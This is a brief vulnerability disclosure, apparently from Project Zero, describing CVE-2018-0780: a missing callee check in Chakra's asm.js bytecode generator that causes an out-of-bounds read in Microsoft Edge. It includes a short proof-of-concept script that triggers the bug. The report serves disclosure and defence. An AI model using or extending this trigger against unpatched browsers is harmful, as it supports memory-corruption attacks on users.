Microsoft Edge: Chakra: AsmJSByteCodeGenerator::EmitCall call handling bug 

CVE-2018-0780


AsmJSByteCodeGenerator::EmitCall which is used to emit call insturctions doesn't check if an array identifier is used as callee. The method handles those invalid calls in the same way it handles valid calls such as "arr[idx & ...]()". In these cases, the index register remains NoRegister which is (uint32_t)-1. It results in OOB read.

PoC:
function Module() {
    'use asm';
    function f() {
        arr();
    }

    function g() {
    }

    var arr = [g];
    return f;
}

let f = Module();
f();


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt